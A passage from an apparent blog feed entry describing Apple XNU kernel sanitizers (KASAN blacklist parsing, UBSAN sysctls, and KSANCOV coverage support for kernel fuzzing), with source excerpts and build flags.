	<span class="kt">char</span> <span class="o">*</span><span class="n">bufp</span> <span class="o">=</span> <span class="n">buf</span><span class="p">;</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">PE_parse_boot_arg_str</span><span class="p">(</span><span class="s">"kasan.bl"</span><span class="p">,</span> <span class="n">bufp</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">)))</span> <span class="p">{</span>
		<span class="kt">char</span> <span class="o">*</span><span class="n">kext</span><span class="p">;</span>
		<span class="k">while</span> <span class="p">((</span><span class="n">kext</span> <span class="o">=</span> <span class="n">strsep</span><span class="p">(</span><span class="o">&amp;</span><span class="n">bufp</span><span class="p">,</span> <span class="s">","</span><span class="p">))</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
			<span class="n">access_t</span> <span class="n">type</span> <span class="o">=</span> <span class="n">TYPE_NORMAL</span><span class="p">;</span>
			<span class="kt">char</span> <span class="o">*</span><span class="n">func</span> <span class="o">=</span> <span class="n">strchr</span><span class="p">(</span><span class="n">kext</span><span class="p">,</span> <span class="sc">':'</span><span class="p">);</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">func</span><span class="p">)</span> <span class="p">{</span>
				<span class="o">*</span><span class="n">func</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
			<span class="p">}</span>
			<span class="kt">char</span> <span class="o">*</span><span class="n">typestr</span> <span class="o">=</span> <span class="n">strchr</span><span class="p">(</span><span class="n">func</span><span class="p">,</span> <span class="sc">':'</span><span class="p">);</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">typestr</span><span class="p">)</span> <span class="p">{</span>
				<span class="o">*</span><span class="n">typestr</span><span class="o">++</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
				<span class="n">type</span> <span class="o">=</span> <span class="n">map_type</span><span class="p">(</span><span class="n">typestr</span><span class="p">);</span>
			<span class="p">}</span>
			<span class="n">add_blacklist_entry</span><span class="p">(</span><span class="n">kext</span><span class="p">,</span> <span class="n">func</span><span class="p">,</span> <span class="n">type</span><span class="p">);</span>
		<span class="p">}</span>
	<span class="p">}</span>
</code></pre></div></div>

<p>There is also useful tooling for LLDB to interact with KASAN when debugging. This is contained in ‘tools/lldbmacros/kasan.py’.</p>

<h1 id="ubsan">UBSAN</h1>

<p>Apple’s Kernel implementation of <a href="https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.html">UBSan</a> is also included within the ubsan.c source file.</p>

<p>This is also controllable through sysctl’s:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>boxname user<span class="nv">$ </span>sysctl <span class="nt">-a</span>|grep ubsan
kern.ubsan.logsize: 2048
kern.ubsan.logentries: 0
</code></pre></div></div>
<p>It is possible to dump the ubsan log file using ‘sysctl kern.ubsan.log’.</p>

<h1 id="ksancov">KSANCOV</h1>

<p>Having code coverage feedback information exposed from the kernel allows for coverage guided based fuzzing.  On KASAN kernel builds, there is a driver interface exposed for KSANCOV called ‘/dev/ksancov’. The implementation for this is within san/ksan.c source file.</p>

<p>There is also a test utility within san/tools/ksancov.c which can be used to obtain the information from the running kernel (provided it is built correctly!).</p>

<p>The general process for a userspace program to obtain coverage data from the kernel is as follows:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * ksancov userspace API
 *
 * Usage:
 * 1) open the ksancov device
 * 2) set the coverage mode (trace or edge counters)
 * 3) map the coverage buffer
 * 4) start the trace on a thread
 * 5) flip the enable bit
 */</span>
</code></pre></div></div>

<p>Unfortunately, with the KASAN kernel binary from the KDK it is not built with KSANCOV support. Therefore, it would be necessary to build this kernel from source to use KSANCOV.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ifeq</span> <span class="p">(</span><span class="err">$</span><span class="p">(</span><span class="n">KSANCOV</span><span class="p">),</span><span class="mi">1</span><span class="p">)</span>
<span class="cp"># Enable SanitizerCoverage instrumentation in xnu
</span><span class="n">SAN</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">KSANCOV_CFLAGS</span> <span class="o">:=</span> <span class="o">-</span><span class="n">fsanitize</span><span class="o">-</span><span class="n">coverage</span><span class="o">=</span><span class="n">trace</span><span class="o">-</span><span class="n">pc</span><span class="o">-</span><span class="n">guard</span>
<span class="n">CFLAGS_GEN</span> <span class="o">+=</span> <span class="err">$</span><span class="p">(</span><span class="n">KSANCOV_CFLAGS</span><span class="p">)</span> <span class="o">-</span><span class="n">DKSANCOV</span><span class="o">=</span><span class="mi">1</span>
<span class="n">endif</span>

<span class="n">Symbols</span> <span class="n">not</span> <span class="n">present</span> <span class="n">in</span> <span class="n">kernel</span><span class="p">.</span><span class="n">kasan</span> <span class="n">binary</span><span class="o">:</span>

<span class="err">```</span><span class="n">c</span>
<span class="n">___sanitizer_cov_trace_pc_guard</span>
<span class="n">___sanitizer_cov_trace_pc_guard_init</span>
<span class="n">___sancov</span><span class="p">.</span><span class="n">module_ctor_trace_pc_guard</span>
</code></pre></div></div>]]></content><author><name>Alex Plaskett</name></author><category term="Apple" /><category term="XNU" /><summary type="html"><![CDATA[This article will show some initial research into booting a KSAN kernel, testing the KASAN functionality and some initial groundwork on KSANCOV. This functionality is super useful when performing kernel crash triage or fuzzing against macOS.]]></summary></entry></feed>